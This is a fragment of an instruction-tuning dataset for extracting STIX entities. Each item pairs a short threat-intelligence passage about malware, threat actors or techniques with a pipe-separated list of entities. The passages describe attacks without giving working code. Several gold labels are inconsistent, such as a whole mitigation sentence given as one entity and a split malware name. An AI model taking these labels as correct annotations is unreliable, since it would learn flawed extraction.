cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nAjax Security Team has used various social media channels to spearphish victims.\n",
    "output": "<entities>Ajax Security Team</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nTo establish persistence, Truvasys adds a Registry Run key with a value \"TaskMgr\" in an attempt to masquerade as the legitimate Windows Task Manager.\n",
    "output": "<entities>Truvasys|Windows Task Manager|Windows</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nnetsh can be used to discover system firewall settings.\n",
    "output": "<entities>netsh</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSoreFang can enumerate domain accounts via net.exe user /domain.\n",
    "output": "<entities>net.exe|SoreFang</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nRegDuke can persist using a WMI consumer that is launched every time a process named WINWORD.EXE is started.\n",
    "output": "<entities>RegDuke|WINWORD.EXE</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nAccess Management technologies can be used to enforce authorization polices and decisions, especially when existing field devices do not provided sufficient capabilities to support user identification and authentication.\n",
    "output": "<entities>Access Management technologies can be used to enforce authorization polices and decisions, especially when existing field devices do not provided sufficient capabilities to support user identification and authentication.</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nSEASHARPEE can timestomp files on victims using a Web shell.\n",
    "output": "<entities>SEASHARPEE</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nBADHATCH is a backdoor that has been utilized by FIN8 since at least 2019. BADHATCH has been used to target the insurance, retail, technology, and chemical industries in the United States, Canada, South Africa, Panama, and Italy.\n",
    "output": "<entities>BADHATCH|FIN8|United States|Canada|South Africa|Panama|Italy</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nLITTLELAMB.WOOLTEA is a backdoor that was used by UNC5325 during Cutting Edge to deploy malware on targeted Ivanti Connect Secure VPNs and to establish persistence across system upgrades and patches.\n",
    "output": "<entities>Cutting Edge|UNC5325|LITTLELAMB.WOOLTEA|Ivanti Connect Secure VPNs</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nBread was a large-scale billing fraud malware family known for employing many different cloaking and obfuscation techniques in an attempt to continuously evade Google Play Store\u2019s malware detection. 1,700 unique Bread apps were detected and removed from the Google Play Store before being downloaded by users.\n",
    "output": "<entities>Bread|Google Play</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nOnce PowerShell downloads the final payload (NetwiredRC), it copies itself to the above mentioned path from where it gets executed.  NetwireRAT is not a new malware/RAT on the surface. First seen in 2012, it attempts to\u00a0steal victims' passwords, including login credentials, FTP credentials, credit card data etc.\n",
    "output": "<entities>NetwiredRC|NetwireRAT|PowerShell</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nFLIPSIDE is a simple tool similar to Plink that is used by FIN5 to maintain access to victims. \n",
    "output": "<entities>FLIPSIDE|FIN5|Plink</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nDesert Scorpion is surveillanceware that has targeted the Middle East, specifically individuals located in Palestine. Desert Scorpion is suspected to have been operated by the threat actor APT-C-23.\n",
    "output": "<entities>Desert Scorpion|APT-C-23|Middle East|Palestine</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nHacking Team UEFI Rootkit is a UEFI BIOS rootkit developed by the company Hacking Team to persist remote access software on some targeted systems.\n",
    "output": "<entities>Hacking Team|UEFI Rootkit</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nPillowmint has used shellcode which reads code stored in the registry keys \\REGISTRY\\SOFTWARE\\Microsoft\\DRM using the native Windows API as well as read HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces as part of its C2.\n",
    "output": "<entities>Pillowmint|Microsoft|HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\Tcpip\\Parameters\\Interfaces|C2|Windows|\\REGISTRY\\SOFTWARE\\Microsoft\\DRM</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nDok uses AppleScript to create a login item for persistence.\n",
    "output": "<entities>Dok|AppleScript</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nCaterpillar WebShell is a self-developed Web Shell tool created by the group Volatile Cedar.\n",
    "output": "<entities>Caterpillar WebShell|Volatile Cedar</entities>"
  },
  {
    "instruction": "You are a helpful threat intelligence analyst. Your task is to extract all STIX entities mentioned in the input. To help you, here is a list of the possible STIX entity types.\nSTIX entity types:\n- ATTACK_PATTERN: A type of TTP that describes ways that adversaries attempt to compromise targets.\n- CAMPAIGN: A grouping of adversarial behaviors that describes a set of malicious activities or attacks (sometimes called waves) that occur over a period of time against a specific set of targets.\n- COURSE_OF_ACTION: A recommendation or mitigation from a producer of intelligence to a consumer on the actions that they might take in response to that intelligence.\n- IDENTITY: Actual individuals, organizations, or groups (e.g., ACME, Inc.) as well as classes of individuals, organizations, systems, or groups (e.g., the finance sector).\n- INDICATOR: Contains a pattern that can be used to detect suspicious or malicious cyber activity (e.g., IP Addresses, MAC Addresses, Hashes, filenames, registry keys, file paths, etc.).\n- INFRASTRUCTURE: Represents a type of TTP and describes any systems, software services, and any associated physical or virtual resources intended to support some purpose (e.g., C2 servers used as part of an attack, device or server that are part of defense, database servers targeted by an attack, etc.).\n- LOCATION: Represents a geographic location (e.g., cities, countries, continents, regions, etc.).\n- MALWARE: A type of TTP that represents malicious code.\n- THREAT_ACTOR: Actual individuals, groups, or organizations believed to be operating with malicious intent.\n- TOOL: Legitimate software that can be used by threat actors to perform attacks.\n- VULNERABILITY: A mistake in software that can be directly used by a hacker to gain access to a system or network.\nAnswer in the following format: <entities>LIST OF IDENTIFIED ENTITIES SEPARATED BY PIPE | (e.g., Ent1|Ent2|...|Entn)</entities>",
    "input": "### Text Passage:\nAgent Smith is mobile malware that generates financial gain by replacing legitimate applications on devices with malicious versions that include fraudulent ads. As of July 2019 Agent Smith had infected around 25 million devices, primarily targeting India though effects had been observed in other Asian countries as well as Saudi Arabia, the United Kingdom, and the United States.\n",
    "output": "<entities>Agent Smith|Asian|Saudi Arabia|United Kingdom|United States|India</entities>"
  },
  {
